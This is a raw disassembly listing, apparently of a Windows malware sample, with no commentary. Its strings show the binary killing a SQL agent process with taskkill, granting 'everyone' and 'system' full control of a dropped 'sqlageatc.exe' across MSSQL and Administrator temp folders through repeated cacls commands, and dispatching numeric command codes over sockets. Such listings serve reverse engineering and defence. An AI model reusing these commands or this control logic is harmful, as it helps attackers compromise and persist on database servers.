call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42d1ef
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.N_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42d255
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42d268
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42d28b
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.N_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42d2f1
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42d304
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42d327
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGENTA.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGENTA.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.SQLAGENTA.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42d40a
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.SQLAGENTA.exe
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42d470
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42d483
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42d4a6
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.A_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42d50c
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42d51f
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42d542
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.A_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42d5a8
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42d5bb
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42d5de
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQL1AppDataLocalTemp_sqlageatc.exe__e__t__g_system:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQL1AppDataLocalTemp_sqlageatc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQLSERVERAppDataLocalTemp_sqlageatc.exe__t__g_system:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQLSERVERAppDataLocalTemp_sqlageatc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsTemp_sqlageatc.exe__e__t__g_system:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsTemp_sqlageatc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsServiceProfilesNetworkServiceAppDataLocalTemp_sqlageatc.exe__e__t__g_system:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsServiceProfilesNetworkServiceAppDataLocalTemp_sqlageatc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp_sqlageatc.exe__e__t__g_system:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp_sqlageatc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp1_sqlageatc.exe__e__t__g_system:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp1_sqlageatc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp2_sqlageatc.exe__e__t__g_system:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp2_sqlageatc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x440824
push 3
mov eax, 3
mov ebx, 0x4c7230
call fcn.0046537e
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.00411bc3
jmp 0x4303ad
push str.80007
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42dd9e
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42d960
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4feec7
push dword [ebp - 0x24]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42d9a4
push ebx
call fcn.00465372
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x42da29
call fcn.004309cd
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42d9c9
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x4667e0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42d9ef
push ebx
call fcn.00465372
add esp, 4
lea eax, [ebp - 0x28]
push eax
mov eax, str.80007
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
call fcn.0041febd
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42da14
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42da24
push ebx
call fcn.00465372
add esp, 4
jmp 0x42dd99
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42da3c
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4fa742
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42da77
mov eax, 0x4efeeb
push eax
push 3
mov ebx, 0x466650
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42da9d
push ebx
call fcn.00465372
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x14]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x42dabf
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x42dabb
imul eax, dword [ebx]
jmp 0x42dab0
mov ecx, eax
test ecx, ecx
je 0x42dade
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x42dad7
push ebx
push eax
call fcn.00465372
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x42dac5
call fcn.00465372
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x14]
call fcn.00412306
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jne 0x42dd99
mov ebx, dword [ebp - 0x14]
call fcn.00401249
mov eax, 0
cmp eax, ecx
jl 0x42db1d
push 1
call fcn.0046535a
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push 0x4feed0
mov ebx, dword [ebp - 0x24]
push dword [ebx]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42dc52
mov ebx, dword [ebp - 0x14]
call fcn.00401249
mov eax, 1
cmp eax, ecx
jl 0x42db5e
push 1
call fcn.0046535a
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
jne 0x42db7b
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x466120
call fcn.0046536c
add esp, 0x10
push eax
call fcn.00433012
test eax, eax
je 0x42dbf7
push reloc.WS2_32.dll_connect
push 0
push 0x4feed9
push 1
mov ebx, 0x4667e0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
mov eax, str.80007
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0041febd
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42dbe2
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42dbf2
push ebx
call fcn.00465372
add esp, 4
jmp 0x42dc4d
push reloc.WS2_32.dll_connect
push 0
push 0x4feee6
push 1
mov ebx, 0x4667e0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
mov eax, str.80007
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0041febd
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42dc3d
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42dc4d
push ebx
call fcn.00465372
add esp, 4
jmp 0x42dd99
mov ebx, dword [ebp - 0x14]
call fcn.00401249
mov eax, 0
cmp eax, ecx
jl 0x42dc70
push 1
call fcn.0046535a
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push 0x4feef3
mov ebx, dword [ebp - 0x24]
push dword [ebx]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42dcf8
mov ebx, dword [ebp - 0x14]
call fcn.00401249
mov eax, 1
cmp eax, ecx
jl 0x42dcb1
push 1
call fcn.0046535a
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
jne 0x42dcce
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x466120
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x28], eax
push 1
push 1
push dword [ebp - 0x28]
call fcn.00433108
jmp 0x42dd99
mov ebx, dword [ebp - 0x14]
call fcn.00401249
mov eax, 0
cmp eax, ecx
jl 0x42dd16
push 1
call fcn.0046535a
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x2c], ebx
push 0x4feefc
mov ebx, dword [ebp - 0x2c]
push dword [ebx]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42dd99
mov ebx, dword [ebp - 0x14]
call fcn.00401249
mov eax, 1
cmp eax, ecx
jl 0x42dd57
push 1
call fcn.0046535a
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
jne 0x42dd74
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x466120
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x28], eax
push 1
push 0
push dword [ebp - 0x28]
call fcn.00433108
jmp 0x4303ad
push str.80010
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42e38a
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42ddca
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4fa742
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42de05
mov eax, 0x4efeeb
push eax
push 3
mov ebx, 0x466650
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42de2b
push ebx
call fcn.00465372
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x14]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x42de4d
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x42de49
imul eax, dword [ebx]
jmp 0x42de3e
mov ecx, eax
test ecx, ecx
je 0x42de6c
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x42de65
push ebx
push eax
call fcn.00465372
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x42de53
call fcn.00465372
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x14]
call fcn.00401249
mov eax, 0
cmp eax, ecx
jl 0x42de96
push 1
call fcn.0046535a
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push 0x4fef0b
mov ebx, dword [ebp - 0x24]
push dword [ebx]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42df34
call fcn.004331c2
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42ded4
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x4667e0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42defa
push ebx
call fcn.00465372
add esp, 4
lea eax, [ebp - 0x28]
push eax
mov eax, str.80010
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
call fcn.0041febd
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42df1f
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42df2f
push ebx
call fcn.00465372
add esp, 4
jmp 0x42e385
mov ebx, dword [ebp - 0x14]
call fcn.00401249
mov eax, 0
cmp eax, ecx
jl 0x42df52
push 1
call fcn.0046535a
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
push 0x4fed65
mov ebx, dword [ebp - 0x30]
push dword [ebx]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42e0e1
mov ebx, dword [ebp - 0x14]
call fcn.00401249
mov eax, 1
cmp eax, ecx
jl 0x42df93
push 1
call fcn.0046535a
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
mov ebx, dword [ebp - 0x14]
call fcn.00401249
mov eax, 1
cmp eax, ecx
jl 0x42dfb9
push 1
call fcn.0046535a
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x28], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x28]
mov eax, dword [ebx]
test eax, eax
jne 0x42dfd6
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x2c], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x42dfff
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x466420
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42e025
push ebx
call fcn.00465372
add esp, 4
lea eax, [ebp - 0x30]
push eax
call fcn.00433679
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42e041
push ebx
call fcn.00465372
add esp, 4
push dword [ebp - 0x34]
push 0x4fa742
mov ebx, dword [ebp - 0x24]
push dword [ebx]
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x42e06e
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x42e081
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x4667e0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x42e0a7
push ebx
call fcn.00465372
add esp, 4
lea eax, [ebp - 0x3c]
push eax
mov eax, str.80010
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x40]
push eax
call fcn.0041febd
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x42e0cc
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x42e0dc
push ebx
call fcn.00465372
add esp, 4
jmp 0x42e385
mov ebx, dword [ebp - 0x14]
call fcn.00401249
mov eax, 0
cmp eax, ecx
jl 0x42e0ff
push 1
call fcn.0046535a
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push 0x4fef0d
mov ebx, dword [ebp - 0x44]
push dword [ebx]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42e18a
mov ebx, dword [ebp - 0x14]
call fcn.00401249
mov eax, 1
cmp eax, ecx
jl 0x42e140
push 1
call fcn.0046535a
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], esp
push 1
push 0
push 0
mov ebx, dword [ebp - 0x24]
push dword [ebx]
push 0x4fef0f
push 0
mov eax, 0x53
call fcn.00465360
cmp dword [ebp - 0x28], esp
je 0x42e185
push 6
call fcn.0046535a
add esp, 4
jmp 0x42e385
mov ebx, dword [ebp - 0x14]
call fcn.00401249
mov eax, 0
cmp eax, ecx
jl 0x42e1a8
push 1
call fcn.0046535a
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x2c], ebx
push 0x4fef14
mov ebx, dword [ebp - 0x2c]
push dword [ebx]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42e233
mov ebx, dword [ebp - 0x14]
call fcn.00401249
mov eax, 1
cmp eax, ecx
jl 0x42e1e9
push 1
call fcn.0046535a
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], esp
push 0
push 0
push 0
mov ebx, dword [ebp - 0x24]
push dword [ebx]
push 0x4fef0f
push 0
mov eax, 0x53
call fcn.00465360
cmp dword [ebp - 0x28], esp
je 0x42e22e
push 6
call fcn.0046535a
add esp, 4
jmp 0x42e385
mov ebx, dword [ebp - 0x14]
call fcn.00401249
mov eax, 0
cmp eax, ecx
jl 0x42e251
push 1
call fcn.0046535a
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x2c], ebx
push 0x4fef16
mov ebx, dword [ebp - 0x2c]
push dword [ebx]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42e385
push 0x80000301
push 0
push 3
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x80000301
push 0
push 3
push 1
mov eax, 4
mov ebx, 0x4c7490
call fcn.0046537e
add esp, 0x10
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.00433679
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42e2dc
push ebx
call fcn.00465372
add esp, 4
push dword [ebp - 0x2c]
push 0x4fa742
push dword [ebp - 0x24]
mov ecx, 3
call fcn.00402eb2
add esp, 0xc
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42e307
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42e317
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x42e32a
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x4667e0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42e350
push ebx
call fcn.00465372
add esp, 4
lea eax, [ebp - 0x34]
push eax
mov eax, str.80010
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
push eax
call fcn.0041febd
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x42e375
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x42e385
push ebx
call fcn.00465372
add esp, 4
jmp 0x4303ad
push str.80011
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42e823
push 0x80000301
push 0
push 6
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42e3c2
mov eax, 0x4fa750
push eax
push 2
mov ebx, 0x466b90
call fcn.0046536c
add esp, 0x1c
mov dword [ebp - 0x24], eax
push 0
push 0
push 0
push 0x80000301
push 0
push 0xa
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42e3fd
mov eax, 0x4fa750
push eax
push 3
mov ebx, 0x466a10
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], ecx
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42e429
push ebx
call fcn.00465372
add esp, 4
mov ecx, dword [ebp - 0x28]
cmp ecx, reloc.WS2_32.dll_connect
je 0x42e441
push 5
call fcn.0046535a
add esp, 4
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x42e455
push ebx
call fcn.00465372
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
push 0x4fef1e
push dword [ebp - 0x18]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42e6b9
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42e485
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x465950
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x2c], eax
fild dword [ebp - 0x2c]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
fsub qword [0x4efe04]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
call fcn.004013a7
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42e4d0
mov eax, 0x4fa750
push eax
push 2
mov ebx, 0x466bd0
call fcn.0046536c
add esp, 0x1c
mov dword [ebp - 0x38], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x42e4f9
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x42e51f
push ebx
call fcn.00465372
add esp, 4
push 0
push 0
push 0
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x42e544
mov eax, 0x4efeeb
push eax
push 3
mov ebx, 0x4678a0
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x42e56a
push ebx
call fcn.00465372
add esp, 4
mov eax, dword [ebp - 0x40]
mov dword [0x52f160], eax
cmp dword [0x52f160], 0
jne 0x42e5da
push reloc.WS2_32.dll_connect
push 0
push 0x4fef25
push 1
mov ebx, 0x4667e0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
